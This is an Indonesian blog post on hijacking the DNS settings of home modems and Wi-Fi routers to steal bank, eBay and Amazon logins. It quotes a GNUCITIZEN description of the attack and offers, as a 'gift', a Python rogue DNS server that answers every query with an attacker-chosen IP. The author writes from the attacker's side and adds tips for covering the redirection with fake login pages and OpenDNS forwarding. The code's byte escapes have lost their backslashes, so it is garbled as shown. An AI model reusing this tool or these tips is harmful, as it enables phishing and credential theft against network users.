Lucu juga jika melihat tulisan fazed di blog GNUCITIZEN berikut ini, memainkan informasi DNS untuk menguasai WIFI connection (yeah…yeah…wifi-ownage, wahoooo?!). Jadi teringat dengan blog ini yang membicarakan mengenai tehnik pengubahan informasi DNS pada modem speedy dapat digunakan untuk mendapatkan informasi rahasia dari seluruh koneksi yang melewati modem speedy tersebut.
Jika melihat referrer pada blog tersebut, saya suka tersenyum sendiri karena ternyata banyak yang mencari tahu informasi untuk ‘hacking modem speedy’. Namun yang membuat kecewa karena umumnya pertanyaan yang diajukan dengan harapan dapat memanfaatkan modem speedy tersebut untuk koneksi internet gratisan. C’mon, jika diperhatikan lebih lanjut lagi, hacking modem speedy tersebut bukan ditujukan untuk mendapatkan koneksi internet gratis, tapi yang lebih jauh lagi…mendapatkan berbagai macam informasi penting dari koneksi-koneksi pengguna modem speedy tersebut, seperti informasi login pada situs per-bankan, ebay, amazon, dll.
Pada blog tersebut digambarkan bagaimana bahayanya apabila informasi DNS server untuk client modem speedy yang memanfaatkan metode DHCP dapat diubah seenaknya oleh si attacker. Yang kemudian menjadi pertanyaan adalah ‘setelah informasi DNS server kita ubah ke suatu alamat IP, apa yang selanjutnya dilakukan?!bagaimana caranya membuat DNS server yang dapat mengarahkan korban pada fake-login page?’. Well, sebetulnya itu tergantung kreativitas masing-masing dari kita sebagai attacker, namun tulisan fazed pada blog GNUCITIZEN memberikan jawaban yang sangat mudah bagi para script kiddies.
Berikut pernyataannya mengenai efek dari memainkan DNS server (pada AP, router, modem, dsb):
Theoretically, the attacker could use any IP address to pull the trick, as long as a DNS server was running behind the UDP port 53. But it would be more beneficial if the attacker is under control of this DNS server, so he/she is able to show the user what ever they want them to see. For example, the user could type in their bank’s website address and end up at a phishing page but they wouldn’t know because they would see their banks address in the title bar and the page could be made to look exactly the same (and auto-update itself through some PHP magic). When the user logs in, a fake DNS server will respond which will make the user go to the wrong IP address. As you can see this is a big threat that will affect anyone who hasn’t secured their network.
Dan…ini hadiah untuk kalian, simple code (python) yang akan memainkan peran sebagai DNS server:
# DNS Injection Server
# Created By fazed
# DNSQuery class adapted from Francisco Santos's
# code. why re-invent the wheel?
from socket import *
class DNSQuery:
def __init__(self, data):
self.data=data
self.domain=''
tipo = (ord(data[2]) >> 3) & 15
if tipo == 0:
ini=12
lon=ord(data[ini])
while lon != 0:
self.domain+=data[ini+1:ini+lon+1]+'.'
ini+=lon+1
lon=ord(data[ini])
def respond(self, ip):
packet=''
if self.domain:
packet+=self.data[:2] + "x81x80"
packet+=self.data[4:6] + self.data[4:6] + 'x00x00x00x00'
packet+=self.data[12:]
packet+='xc0x0c'
packet+='x00x01x00x01x00x00x00x3cx00x04'
packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.')))
return packet
print ":: DNS Injection Server Started ::"
sh = socket(AF_INET, SOCK_DGRAM)
print "Socket Handle Created.."
sh.bind(('',53))
print "Socket Handle Bound To UDP Port 53"
ip = raw_input("IP to inject: ")
try:
while 1:
data, addr = sh.recvfrom(1024)
print "DNS Request From:", addr[0]
p = DNSQuery(data)
print "Sending IP address:", ip
sh.sendto(p.respond(ip),addr)
print "Response Sent.."
except KeyboardInterrupt:
print ":: DNS Injection Server Stoped ::"
sh.close()
Bukan hal yang baru…tapi seakan-akan membuat para ‘hacker’ tersebut terpesona. Yeah, apapun itu…fazed sudah memberikan hadiah coding buat kalian. Tidak terlalu sulit untuk mengembangkan code tersebut, terutama untuk hanya mengarahkan pada situs-situs tertentu yang telah kita buat fake-login page nya, tujuannya agar ‘permainan DNS’ kita tidak cepat diketahui oleh korban. Sisa request DNS diarahkan kemana?!OpenDNS is ur angel ;).
No need my ruby code anymore, right?!
Leave a Reply